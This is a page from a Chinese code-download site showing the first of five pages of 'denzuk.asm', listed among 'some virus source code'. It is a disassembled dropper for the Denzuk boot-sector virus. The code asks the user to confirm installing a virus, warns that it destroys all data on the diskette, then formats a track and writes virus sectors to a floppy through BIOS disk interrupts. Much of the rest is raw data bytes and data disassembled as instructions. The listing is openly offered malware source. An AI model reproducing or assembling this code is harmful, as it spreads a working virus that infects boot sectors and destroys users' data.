⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 denzuk.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 5 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        DENZUK				         圹
;圹								         圹
;圹      Created:   4-Feb-91					         圹
;圹      Passes:    5	       Analysis Options on: J		         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_0001e	equ	24h
data_0002e	equ	26h
data_0003e	equ	4Ch
data_0004e	equ	4Eh
data_0005e	equ	78h
data_0006e	equ	1BCh
data_0007e	equ	1BEh
main_ram_size_	equ	413h
keybd_flags_1_	equ	417h
video_mode_	equ	449h
warm_boot_flag_	equ	472h
data_0008e	equ	4F6h
data_0009e	equ	51Ch			;*
data_0010e	equ	61Eh			;*
data_0011e	equ	7C00h			;*
data_0012e	equ	7C0Bh			;*
data_0013e	equ	7C0Eh			;*
data_0014e	equ	7C10h			;*
data_0015e	equ	7C11h			;*
data_0016e	equ	7C15h			;*
data_0017e	equ	7C16h			;*
data_0018e	equ	7C18h			;*
data_0019e	equ	7C1Ah			;*
data_0020e	equ	7C1Ch			;*
data_0021e	equ	7C2Ah			;*
data_0022e	equ	7C2Bh			;*
data_0023e	equ	7C37h			;*
data_0024e	equ	7C39h			;*
data_0025e	equ	7C3Bh			;*
data_0026e	equ	7C3Ch			;*
data_0027e	equ	7C3Dh			;*
data_0028e	equ	7C3Fh			;*
data_0029e	equ	7D77h			;*
data_0030e	equ	7DD6h			;*
data_0031e	equ	7DE1h			;*
data_0032e	equ	7DFDh			;*
data_0033e	equ	0
data_0035e	equ	28h
data_0036e	equ	33h
data_0037e	equ	5Ch
data_0157e	equ	1E50h			;*
data_0158e	equ	2000h			;*
data_0161e	equ	2A00h			;*
data_0164e	equ	7C00h			;*
data_0165e	equ	7C0Bh			;*
data_0166e	equ	7C15h			;*
data_0167e	equ	7C18h			;*
data_0168e	equ	7C1Ah			;*
data_0169e	equ	7C1Eh			;*
data_0171e	equ	7C2Ch			;*
data_0172e	equ	7C2Eh			;*
data_0173e	equ	7C30h			;*
data_0174e	equ	7C31h			;*
data_0175e	equ	7C32h			;*
data_0176e	equ	7CC6h			;*
data_0178e	equ	7E00h			;*
data_0179e	equ	8002h			;*
data_0181e	equ	0A82Ah			;*
data_0182e	equ	0AA00h			;*
data_0183e	equ	0AA02h			;*
data_0185e	equ	0AA2Ah			;*
data_0186e	equ	0AAAAh			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

denzuk		proc	far

start:
		mov	dx,29Dh
		dec	byte ptr ds:data_0037e
		jns	loc_0002		; Jump if not sign
		jmp	loc_0008
loc_0002:
		mov	dx,1BFh
		call	sub_0001
		xor	ah,ah			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		and	al,0DFh
		cmp	al,59h			; 'Y'
		jne	loc_ret_0009		; Jump if not equal
		mov	dl,ds:data_0037e
		xor	ah,ah			; Zero register
		int	13h			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		jc	loc_0007		; Jump if carry Set
		push	dx
		mov	dx,281h
		call	sub_0001
		pop	dx
		mov	ax,351Eh
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	al,9
		xchg	al,es:[bx+4]
		push	es
		push	bx
		push	ax
		push	ds
		pop	es
		xor	dh,dh			; Zero register
		mov	ch,28h			; '('
		mov	bx,offset data_0040
		mov	ax,509h
		int	13h			; Disk  dl=drive a  ah=func 05h
						;  format track=ch or cylindr=cx
						;   al=interleave, dh=head
		pop	ax
		pop	bx
		pop	es
		jc	loc_0007		; Jump if carry Set
		mov	es:[bx+4],al
		push	ds
		pop	es
		cld				; Clear direction
		mov	si,offset data_0058
		jmp	short loc_0004
loc_0003:
		test	dh,dh
		jnz	loc_0004		; Jump if not zero
		dec	cx
		jz	loc_ret_0009		; Jump if zero
loc_0004:
		lea	bx,[si+5]		; Load effective addr
		mov	bp,200h
		lodsb				; String [si] to al
		cmp	al,0F6h
		je	loc_0006		; Jump if equal
		mov	bx,offset data_0049
		cmp	al,[bx]
		je	loc_0005		; Jump if equal
		mov	di,bx
		mov	cx,bp
		rep	stosb			; Rep when cx >0 Store al to es:[di]
loc_0005:
		xor	bp,bp			; Zero register
loc_0006:
		lodsw				; String [si] to ax
		xchg	ax,cx
		lodsw				; String [si] to ax
		xchg	ax,dx
		or	dl,ds:data_0037e
		lea	si,[bp+si]		; Load effective addr
		mov	ax,301h
		push	si
		push	cx
		push	dx
		int	13h			; Disk  dl=drive a  ah=func 03h
						;  write sectors from mem es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		pop	dx
		pop	cx
		pop	si
		jnc	loc_0003		; Jump if carry=0
loc_0007:
		mov	dx,offset data_0048

denzuk		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0001	proc	near
loc_0008:
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx

loc_ret_0009:
		retn
sub_0001	endp

data_0040	db	28h
		db	 00h, 21h, 02h, 28h, 00h, 22h
		db	 02h, 28h, 00h, 23h, 02h, 28h
		db	 00h, 24h, 02h, 28h, 00h, 25h
		db	 02h, 28h, 00h, 26h, 02h, 28h
		db	 00h, 27h, 02h, 28h, 00h, 28h
		db	 02h, 28h, 00h, 29h, 02h
		db	0Dh
data_0041	db	0Ah, 'You are about to install a '
		db	'VIRUS on your diskette!!!', 0Dh, 0Ah
		db	'This will des'
data_0043	dw	7274h
data_0044	db	6Fh
data_0045	dw	2079h
		db	'ALL data on the diskette!!!', 0Dh
		db	0Ah, 'Inser'
data_0046	dw	2074h
		db	'a formatted 360K di'
data_0047	dw	6B73h
		db	'ette into the drive.', 0Dh, 0Ah, 'A'
		db	're you sure you want to proceed '
		db	'(y/N)? $'
		db	0Dh, 0Ah, 0Ah, 'Writing...$'
data_0048	db	0Dh
		db	 0Ah, 45h, 72h, 72h, 6Fh, 72h
		db	 07h, 21h, 07h, 21h, 07h
		db	'!$'
		db	'Usage:  DENZUK A:    ', 0Dh, 0Ah
		db	'$'
data_0049	dw	167 dup (0)
data_0050	dw	0
data_0051	db	0
data_0052	dw	0, 0
data_0054	dw	0, 0
		db	82 dup (0)
data_0056	dd	00000h
data_0057	dd	00000h
		db	77 dup (0)
data_0058	db	0F6h
		db	 29h, 28h, 00h, 00h,0FFh

locloop_0011:
		loop	locloop_0011		; Loop if cx > 0

		pop	di
		pop	si
		pop	es
		pop	ds
		pop	dx
		pop	cx
		pop	ax
		popf				; Pop flags
		retn
		db	 8Dh, 36h,0D1h, 07h
		db	0BFh, 90h, 0Bh,0B9h, 00h, 05h
		db	0F3h,0A4h
		db	 8Dh, 36h,0D1h, 0Ch
		db	0BFh, 40h, 2Bh,0B9h, 00h, 05h
		db	0F3h,0A4h,0C3h, 51h,0FCh, 32h
		db	0D2h,0BEh, 10h, 00h
loc_0012:
		mov	cx,28h

locloop_0013:
		mov	ax,es:[di]
		xchg	al,ah
		ror	ax,1			; Rotate
		ror	ax,1			; Rotate
		mov	dh,ah
		and	dh,0C0h
		and	ah,3Fh			; '?'
		or	ah,dl
		mov	dl,dh
		xchg	al,ah
		stosw				; Store ax to es:[di]
		loop	locloop_0013		; Loop if cx > 0

		dec	si
		jnz	loc_0012		; Jump if not zero
		pop	cx
		retn
		db	 51h,0FDh, 32h,0D2h
		db	0BEh, 10h, 00h
loc_0014:
		mov	cx,28h

locloop_0015:
		mov	ax,es:[di]
		xchg	al,ah
		rol	ax,1			; Rotate
		rol	ax,1			; Rotate
		mov	dh,al
		and	dh,3
		and	al,0FCh
		or	al,dl
		mov	dl,dh
		xchg	al,ah
		stosw				; Store ax to es:[di]
		loop	locloop_0015		; Loop if cx > 0

		dec	si
		jnz	loc_0014		; Jump if not zero
		pop	cx
		cld				; Clear direction
		retn
data_0066	db	'WS      EXE ', 0
		db	9 dup (0)
		db	 52h,0B1h, 3Bh, 12h, 02h, 00h
		db	 00h, 5Eh, 02h, 00h
		db	'WSHELP  OVR!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h, 41h, 01h
		db	0A0h, 9Dh, 00h, 00h
		db	'WSSPELL OVR!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h, 9Fh, 00h
		db	 80h, 80h, 00h, 00h, 59h,0F9h
		db	 43h,0F9h, 31h,0F9h, 45h,0F9h
		db	 52h,0F9h, 50h, 29h, 00h
		db	9 dup (0)
		db	0A0h,0B2h, 46h, 12h, 00h, 00h
		db	 00h, 00h, 00h, 00h
		db	'WSMSGS  OVR!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h,0C0h, 00h
		db	 62h, 53h, 00h, 00h
		db	'PREVIEW OVR!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 0Fh, 11h, 16h, 01h
		db	 10h,0ABh, 00h, 00h
		db	'PREVIEW MSG!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 0Fh, 11h,0D5h, 00h
		db	 00h, 22h, 00h, 00h
		db	'DRAFT   PDF!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h,0DEh, 00h
		db	0AAh, 03h, 00h, 00h
		db	'WSSHORT OVR!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h,0DFh, 00h
		db	 00h, 02h, 00h, 00h
		db	'WS4     PDF!'
		db	0
		db	9 dup (0)
		db	 03h, 88h, 12h, 11h,0E0h, 00h
		db	0ABh, 01h, 00h, 00h
		db	'CONFIG  SYS!'
		db	0
		db	9 dup (0)
		db	 11h,0A3h, 39h, 12h,0E1h, 00h

locloop_0017:
		or	ax,[bx+si]
		add	[bx+si],al
		inc	cx
		push	bp
		push	sp
		dec	di
		inc	bp
		pop	ax
		inc	bp
		inc	bx
		inc	dx
		inc	cx
		push	sp
		and	[bx+si],ax
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],ah
		mov	word ptr ds:[1239h],ax
		loop	locloop_0018		; Loop if cx > 0


locloop_0018:
		or	[bx+si],ax
		add	[bx+si],al
		push	di
		push	bx
		dec	ax
		pop	cx
		push	ax
		dec	ax
		and	[bx+si],ah
		dec	di
		imul	byte ptr [bx+si]	; ax = data * al
		sub	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0183e
		test	al,0
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		or	ch,[bp+si+0A0h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	ch,[bp+si-5556h]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0182e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		or	ch,[bp+si+0A8h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bp+si-7F56h],ch
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		test	al,0

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -